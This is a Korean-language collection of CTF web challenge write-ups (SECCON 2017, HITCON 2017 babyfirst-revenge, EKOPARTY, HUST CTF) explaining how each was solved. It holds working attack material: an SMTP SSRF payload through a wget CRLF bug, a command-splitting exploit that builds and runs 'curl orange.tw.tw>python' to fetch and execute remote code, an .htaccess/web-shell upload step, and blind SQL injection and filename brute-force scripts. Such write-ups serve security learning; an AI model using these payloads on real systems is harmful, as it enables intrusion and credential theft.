[SECCON 2017] Web Challenge review
Log Search[link]
들어가면 화면 아래 쪽에 “http://logsearch.pwn.seccon.jp/logsearch.php“링크가 있다.
해당 링크로 들어가면 현재 검색된 로그들이 주르륵 뜬다.
여기서 flag파일을 찾으란다.
우리가 원하는건 접근 경로에 flag가 들어가고 반응이 200인거니
flag 200
을 처보았지만 다른 로그들에 뭍혀 flag 로그가 나오지 않는다.
이걸 request:flag AND response:200
이렇게 쳐줘야 flag 200 접근이 되는 로그가 나오며 flag를 볼 수 있다.
아니 저걸 저렇게 검색하는 방법을 어찌 알라는건지 모르겟다..
SqlSRF[link]
#!/usr/bin/perl use CGI; my $q = new CGI; use CGI::Session; my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'}); $s->expire('+1M'); require './.htcrypt.pl'; my $user = $q->param('user'); print $q->header(-charset=>'UTF-8', -cookie=> [ $q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef) ]), $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black'); $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne ''); my $errmsg = ''; if($q->param('login') ne '') { use DBI; my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB'); my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';"); $errmsg = '<h2 style="color:red">Login Error!</h2>'; eval { $sth->execute(); if(my @row = $sth->fetchrow_array) { if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) { $s->param('autheduser', $q->param('user')); print "<scr"."ipt>document.location='./menu.cgi';</script>"; $errmsg = ''; } } }; if($@) { $errmsg = '<h2 style="color:red">Database Error!</h2>'; } $dbh->disconnect(); } $user = $q->escapeHTML($user); print <<"EOM"; <!-- The Kusomon by KeigoYAMAZAKI, 2017 --> <div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;"> </div> <div style="position:relative;top:300px;color:white;text-align:center;"> <h1>Login</h1> <form action="?" method="post">$errmsg <table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;"> <tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr> <tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr> <tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr> <tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr> </table> </form> </div> </body> </html> EOM 1;
문제 제목에서도 알수 있다 싶이 SQL injection 문제이다.
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
부분을 보면 prepare을 하지만 문자열을 직접 쿼리에 넣고 있으므로 injection으로 부터 취약하다.
이를 통해 Time based SQL injection을 하면 된다.
SQL injection을 통해 알아낸 admin의 password 는 “d2f37e101c0e76bcc90b5634a5510f64” 온라인에 존재하는 md5 테이블에 없다.
하지만 “remember” 쿠키에 내용이 디크립트 되어 Username input tag의 value로 들어가게 된다.
이를 통해 알아낼 수 있는건 d2f37e101c0e76bcc90b5634a5510f64는 “Yes!Kusomon!!” 이다.
25, 22, 80 포트가 열려있다.
wget 실행시 wget 버전과 리퀘스트의 결과가 나온다.
ID: admin, PW: Yes!Kusomon!!
으로 로그인을 하게 되면 “netstat”와 wget을 실행 할 수 있는 페이지가 뜬다.
command injection은 안되니 다른 방법을 찾으면, wget가 버전이 낮다 즉 문제의 제목처럼 wget의 bug를 사용할 수 있다. (SSRF)
Payload : 127.0.0.1%0d%0aTest%3a %0aHELO 127.0.0.1%0aMAIL FROM%3a%3csilnex%40silnex.kr%3e%0aRCPT TO%3a%3croot%40localhost%3e%0aDATA%0aFrom%3a silnex%40silnex.kr%0aTo%3a root%40localhost%0aSubject%3a give me flag%0d%0a.%0d%0a%0aQUIT%0a:25
SMTP 포트가 열려있는 것을 확인 햇다면, 해당 취약점을 통해 메일을 보내자.
그러면 encrypt 된 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19 문자열이 오는데 ,
이를 admin의 password를 decrypt한 것처럼 “remember” 쿠키에 넣게 되면 SECCON{SSRFisMyFriend!}
flag가 나오게 된다.
automatic_door[link]
<?php $fail = str_repeat('fail', 100); $d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/'; @mkdir($d); function read_ok($f) { return strstr($f, 'FAIL_') === FALSE && strstr($f, '/proc/') === FALSE && strstr($f, '/dev/') === FALSE; } function write_ok($f) { return strstr($f, '..') === FALSE && read_ok($f); } function GetDirectorySize($path) { $bytestotal = 0; $path = realpath($path); if ($path !== false && $path != '' && file_exists($path)) { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object) { $bytestotal += $object->getSize(); } } return $bytestotal; } if (isset($_GET['action'])) { if ($_GET['action'] == 'pwd') { echo $d; exit; } else if ($_GET['action'] == 'phpinfo') { phpinfo(); exit; } else if ($_GET['action'] == 'read') { $f = $_GET['filename']; if (read_ok($f)) echo file_get_contents($d . $f); else echo $fail; exit; } else if ($_GET['action'] == 'write') { $f = $_GET['filename']; if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) { print_r($_FILES['file']); print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f)); } else echo $fail; if (GetDirectorySize($d) > 10000) { rmdir($d); } exit; } else if ($_GET['action'] == 'delete') { $f = $_GET['filename']; if (write_ok($f)) print_r(unlink($d . $f)); else echo $fail; exit; } } highlight_file(__FILE__);
파라미터에 action=write과 filename을 보내면 action=pwd에 나오는 경로에 저장해준다.
- .htaccess 파일에 .html 등 다른 확장자에서도 php 코드가 실행 되게한다.
AddType application/x-httpd-php .html .htm
이렇게 하면 html파일과 htm파일에서도 php코드가 실행 된다. - 리버스쉘이든 웹쉘이든올린다.
- flag를 찾는다.
[HITCON 2017] babyfirst-revenge Write up&Explanation
HITCON 2017[Link]
Do you remember BabyFirst from HITCON CTF 2015?
This is the harder version!
http://52.199.204.34/
95 Solved
Challenge
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
Exploit
import requests from time import sleep from urllib import quote payload = [ # generate `ls -t>g` file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generate `curl orange.tw.tw>python` '>on', '>th\\', '>py\\', '>\>\\', '>tw\\', '>e.\\', '>ng\\', '>ra\\', '>o\\', '>\ \\', '>rl\\', '>cu\\', # exec 'sh _', 'sh g', ] r = requests.get('http://52.199.204.34/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://52.199.204.34/?cmd=' + quote(i) ) print i sleep(0.2)
Explanation
5글자 밖에 cmd가 입력되지 않은 상황에서 원하는 코드를 실행 시키기 위한 처절한 몸부림이 보인다.
이 문제를 풀기위한 개념은
원하는 명령어를 한글자씩 파일로 만들고, ls -t를 통해 한 문장으로 만들어 저장하고, 그 저장한 파일을 sh 로 실행한다
라는 개념이다.
“-t” 옵션을 넣는 이유는 우리가 원하는 순서대로 파일이 정렬되어야 명령이 실행가능한데,
만약 “-t” 옵션을 넣지 않으면 파일명을 기준으로 정렬되기에 우리가 원하는 명령이 실행 되지 않는다.
Example
ls -tal 이란 명령어를 실행하려면 6글자가 되며 넘게 된다.
하지만 이를 “ls “와 “-tal”로 나눌수 있다.
bash에서 여러줄에 걸쳐서 한 명령어를 실행 하기위해선 “\” backslash를 뒤에 붙여주면된다.
이제 cmd에 다음과 같이 보내자.
cmd=>ls\ \\ (5글자가 넘어 보이지만 실제론 “ls \”로 4글자다)
cmd=>-tal
cmd=ls>_
이렇게 저장된 “_”파일을 “sh _”로 실행하면 쉘명령어가 실행되게 된다. ㄷㄷ
[EKOPARTY] FirstAPP
FirstAPP
I have protected the flag, but I still do not know this framework very well.
이 문제는 출제 이후 라이트 업을 보고 작성한 것이다.
Key: /index.php와 /index.php/ 의 respons가 같다는 점과 /getflag 와 /getflag_any_char 의 결과가 같다는 점을 보고
mod_rewrite가 잘못 설정 되어 있음을 알아야한다.
mod_rewrite는 규칙 기반으로 URL 을 동적으로 전환(redirecting) 및 재작성(rewriting)할 수 있는 아파치 확장 모듈이다.
보통 clean URL이나, 가상 호스트 등을 위해 사용된다고 한다. [참고]
아무튼, 해당 사이트는 “/index.php” 와 “/index.php/”가 같은 주소를 의미하는데,
이때 /getflag를 “index.php/getflag”로 접근하게 되면 HTTP 인증 없이 FLAG를 볼 수 있다.
Your flag is: EKO{fucking_m0d_r3wr1t3}
여담
mod_rewrite과 같은 아파치 모듈
사용법에 대해서 한번쯤 정리해야겠다.
[EKOPARTY] SecureFile
SecureFile
They can only recover the flag in hundreds of years.
문제 링크에 접속하면 아래와 같은 문장들이 뜬다.
A few seconds after my last birthday, a file flag.txt was release with the following code:
$target_dir = "uploads/";
$target_file = $target_dir . substr(uniqid(), 0, 8) . "_" . basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
Can you get the file?
J. Assange
뭐 대충 flag.txt 파일이 자기 생일 조금 지난 시간에 아래 코드를 통해 업로드 됫다고 한다.
대충 보니 uploads/ 폴더 아래 uniqid() 값 8자리와 _ , 그리고 flag.txt가 합쳐져서 올라가는거 같다.
flag.txt파일은 XXXXXXXX_flag.txt와 같은 이름으로 uploads/ 아래 있다는 것이다.
그런데 uniqid() 함수의 결과 값은 HEX 값으로 겹치지 않는 값을 리턴한다고 한다.
즉, Brute Force로 하게되면 168 이 되니 대충 4294967296가지 경우의 수가 있다는 뜻이다.
물론 저 4294967296가지를 모두 해봐도 되지만, uniqid() 함수는 랜덤한 값을 가지지는 않는다.
이 글을 보면 자세히 알 수 있는데, 이 문제에 풀이에 필요한 부분만 발췌해온다면,
<?php $microtime = microtime(true); $id = uniqid(); echo dechex($microtime); // 5228cee5 echo $id; // 5228cee5564a0
이 부분이다.
즉 uniqid() 함수의 값은 microtime() 함수의 값을 hex로 변환 한것과 유사한데, 여기서 microtime() 함수는 Unix Time을 micro단위 까지 표현한 수를 반환단다.
그렇다면 이제 문제를 풀기 쉬워지는데, 문제 제일 아래 나온 “J. Assange “의 생일인 7월 3일이니,
“last birthday”인 2017년 7월 3일 날 Unix Time을 가지고 hex로 바꾸게 되면 앞에 6자리 정돈 구할 수 있게 된다.
이를 가지고 python으로 긁으면 되는데, 사용한 코드는 아래와 같다.
import requests base="595989" url="http://securefile.ctf.site:10080/uploads/" for i in range(0,int('100',16)): uniqid=base+hex(i)[2:].zfill(2) r = requests.get(url+uniqid+"_"+"flag.txt") print uniqid if r.status_code == 200: print ">>>>"+uniqid print url+uniqid+"_"+"flag.txt" exit()
위 툴을 돌리면,
http://securefile.ctf.site:10080/uploads/59598902_flag.txt 가 나오며,(젠장 그냥 손으로 할껄)링크로 들어가 보면 FLAG가 나오게 된다.
EKO{uniqid() ~= microtime()}
[HUST CTF] Web 200
Web 200
다른 문제 다 접고 (어차피 상상도 못한 어마어마한 방법이였으니..) 이것만 잡았습니다.
다 제끼고 흐름만 이야기 하겠습니다.
페이지를 들어가면 위와 같은 로그인 창이 뜹니다.
Join을 누르면 위와 같은 가입 창이 나옵니다.
로그인을 하면 위 메뉴중 QnA가 있는데,
QnA가 INSERT문이 아닌 SELECT 문을 쓰는건 처음이였습니다;;
여튼 이를 이용해 BlindSQLi를 진행합니다.
import requests import urllib import time #main url: http://223.194.105.182:43080/pmain.php cookies={'PHPSESSID':'igak84e5ejdkua67qegu2d45h5'} url = "http://223.194.105.182:43080/question_query.php" tables='' silnex='' def bits2a(b): return ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8)) for lim in range(0,5): print tables tables+='| '+str(lim)+'. ' for chr_l in range(1,1000): binary='' for bin_l in range(1,8): param=" ' or mid(lpad(bin(ord(mid((select DISTINCT concat(id,':',pw) from inforseat where id='tsuh' limit "+str(lim)+",1 ),"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) = 1# " time.sleep(0.5) data = {'content':param} s = requests.post(url, cookies=cookies, data=data) print param #print s.text if not '<!--==============================header=================================-->' in s.text: bin_l-=1 continue if 'Sangyoon' in s.text: binary+='1' else: binary+='0' if binary == '0000000': print "break!" break else: silnex+='0'+binary tables+=bits2a(silnex) silnex='' print tables+ ' |'
중간에 “===header===” 이 부분이 들어간건 서버가 너무 잘 죽더군요;;
그래서 살아있는지 확인하기 위해 넣은 겁니다.
그래서 꺼낸 DB내용
db : khkekb table_name column_name | data HUST 0.look| 1.it| 2.i5| 3.hint| | 0.donot:open:seat:table boom 0. go| 1. t0| 2. another| 3. t4ble| | 0. there:isnot:answer:here chicken 0. chicken| 1.i5| 2.very| 3.delicious| | 0. go:to:board:table board 0. find| 1. data| 2. v4lues| 3. please| | 0. go:to:chiffon:tab1e chiffon 0. m4tch| 1.w0rds| | 0. 3ny4v:tsuh inforseat 0. id| 1.pw| 2.name| 3.tel| 4.email| | 0. user account aseat 0. name| 1. tel| 2. home| 3. seat| 4. id| sseat 0. name| 1.tel| 2.home| 3.seat| | 1.010XXXXXXXX:SKT:S | 2.010XXXXXXXX:KT:S | 3.010XXXXXXXX:SAMSUNG:S | 4.010XXXXXXXX:MVP:S | 5.010XXXXXXXX:Afreeca:S | 6.010XXXXXXXX:ROX:S | 7.010XXXXXXXX:Longzhu:S | 8.010XXXXXXXX:bbq:S | 9.010XXXXXXXX:Jin Air:S | 10.010:test3:S | 11.test12:test12:S | 12.dldmlwhd:dldmlwhd:S | 13.zaxscd:SKY:R | 14.hacuna:hacuna:R | 15.hacuna:hacuna:S
에.. 여기 까진 금방 왔는데.. 이다음이 문제더군요..
여기서 상당히 힘들었는데
저기다 DB에서 나온 내용중 chiffon의 값인 3ny4vtsuh를 넣어 보내주면
플레그가 나오면서 풀립니다.
나름 흰트였는지 모르겠지만 위 파라미터의 임의 값을 넣으면
이렇게 나오는데 이걸 흰트라고 생각 할 수 있을까 살짝 의구심이 드네요…
뭐,, 입력값을 넣을수 있는 부분이 굉장히 한정적이라고는 해도 상당한 게싱능력이 요구되는 문제 아닌가 조심스래 평해 봅니다.